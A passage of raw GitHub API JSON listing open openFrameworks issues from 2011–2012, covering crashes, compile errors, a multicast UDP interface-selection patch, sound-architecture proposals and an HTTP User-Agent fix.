17T21:51:17Z","updated_at":"2012-03-10T05:09:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/866","id":2756440,"number":866,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","user":{"login":"urshofer","id":116976,"avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0424af1c917883090f0edddf55a8f21b","url":"https://api.github.com/users/urshofer","html_url":"https://github.com/urshofer","followers_url":"https://api.github.com/users/urshofer/followers","following_url":"https://api.github.com/users/urshofer/following","gists_url":"https://api.github.com/users/urshofer/gists{/gist_id}","starred_url":"https://api.github.com/users/urshofer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/urshofer/subscriptions","organizations_url":"https://api.github.com/users/urshofer/orgs","repos_url":"https://api.github.com/users/urshofer/repos","events_url":"https://api.github.com/users/urshofer/events{/privacy}","received_events_url":"https://api.github.com/users/urshofer/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-01-07T15:38:14Z","updated_at":"2012-01-07T15:38:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/861","id":2700549,"number":861,"title":"ofxSynth semantic issue","user":{"login":"viniciolindo","id":1298679,"avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","url":"https://api.github.com/users/viniciolindo","html_url":"https://github.com/viniciolindo","followers_url":"https://api.github.com/users/viniciolindo/followers","following_url":"https://api.github.com/users/viniciolindo/following","gists_url":"https://api.github.com/users/viniciolindo/gists{/gist_id}","starred_url":"https://api.github.com/users/viniciolindo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/viniciolindo/subscriptions","organizations_url":"https://api.github.com/users/viniciolindo/orgs","repos_url":"https://api.github.com/users/viniciolindo/repos","events_url":"https://api.github.com/users/viniciolindo/events{/privacy}","received_events_url":"https://api.github.com/users/viniciolindo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":10,"created_at":"2012-01-02T11:14:47Z","updated_at":"2012-03-03T19:38:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/856","id":2685556,"number":856,"title":"we need ofSoundBuffer, like ofPixels","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2011-12-30T02:33:19Z","updated_at":"2012-06-13T11:54:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\n\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\n\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.\n\n[@damiannz edited title]"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/855","id":2677212,"number":855,"title":"video Grabber crashes with Flip4Mac","user":{"login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-12-29T04:43:24Z","updated_at":"2011-12-29T04:43:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/851","id":2647508,"number":851,"title":"ofNode::resetTransform does not reset scale","user":{"login":"companje","id":156066,"avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"30a7e135fe77636519d74d129c60e156","url":"https://api.github.com/users/companje","html_url":"https://github.com/companje","followers_url":"https://api.github.com/users/companje/followers","following_url":"https://api.github.com/users/companje/following","gists_url":"https://api.github.com/users/companje/gists{/gist_id}","starred_url":"https://api.github.com/users/companje/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/companje/subscriptions","organizations_url":"https://api.github.com/users/companje/orgs","repos_url":"https://api.github.com/users/companje/repos","events_url":"https://api.github.com/users/companje/events{/privacy}","received_events_url":"https://api.github.com/users/companje/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-12-23T14:13:39Z","updated_at":"2011-12-23T14:13:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/849","id":2637694,"number":849,"title":"skip files in an addon with Makefile","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-12-22T14:31:37Z","updated_at":"2011-12-22T14:31:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/846","id":2546302,"number":846,"title":"ofCircle(float, float) should not work","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2011-12-14T00:42:31Z","updated_at":"2011-12-19T22:35:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/843","id":2512838,"number":843,"title":"Add return-type warning for XCode project files ","user":{"login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","url":"https://api.github.com/users/roxlu","html_url":"https://github.com/roxlu","followers_url":"https://api.github.com/users/roxlu/followers","following_url":"https://api.github.com/users/roxlu/following","gists_url":"https://api.github.com/users/roxlu/gists{/gist_id}","starred_url":"https://api.github.com/users/roxlu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roxlu/subscriptions","organizations_url":"https://api.github.com/users/roxlu/orgs","repos_url":"https://api.github.com/users/roxlu/repos","events_url":"https://api.github.com/users/roxlu/events{/privacy}","received_events_url":"https://api.github.com/users/roxlu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-12-10T21:25:49Z","updated_at":"2011-12-10T21:25:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/838","id":2476561,"number":838,"title":"ofPixels has no setImageType","user":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2011-12-07T16:30:59Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/837","id":2455011,"number":837,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-12-05T21:44:08Z","updated_at":"2011-12-05T21:44:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n

\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/831","id":2436532,"number":831,"title":"dragEvent() in new class not working in win7","user":{"login":"decolector","id":390056,"avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","url":"https://api.github.com/users/decolector","html_url":"https://github.com/decolector","followers_url":"https://api.github.com/users/decolector/followers","following_url":"https://api.github.com/users/decolector/following","gists_url":"https://api.github.com/users/decolector/gists{/gist_id}","starred_url":"https://api.github.com/users/decolector/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/decolector/subscriptions","organizations_url":"https://api.github.com/users/decolector/orgs","repos_url":"https://api.github.com/users/decolector/repos","events_url":"https://api.github.com/users/decolector/events{/privacy}","received_events_url":"https://api.github.com/users/decolector/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-12-03T08:51:42Z","updated_at":"2011-12-03T09:03:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's 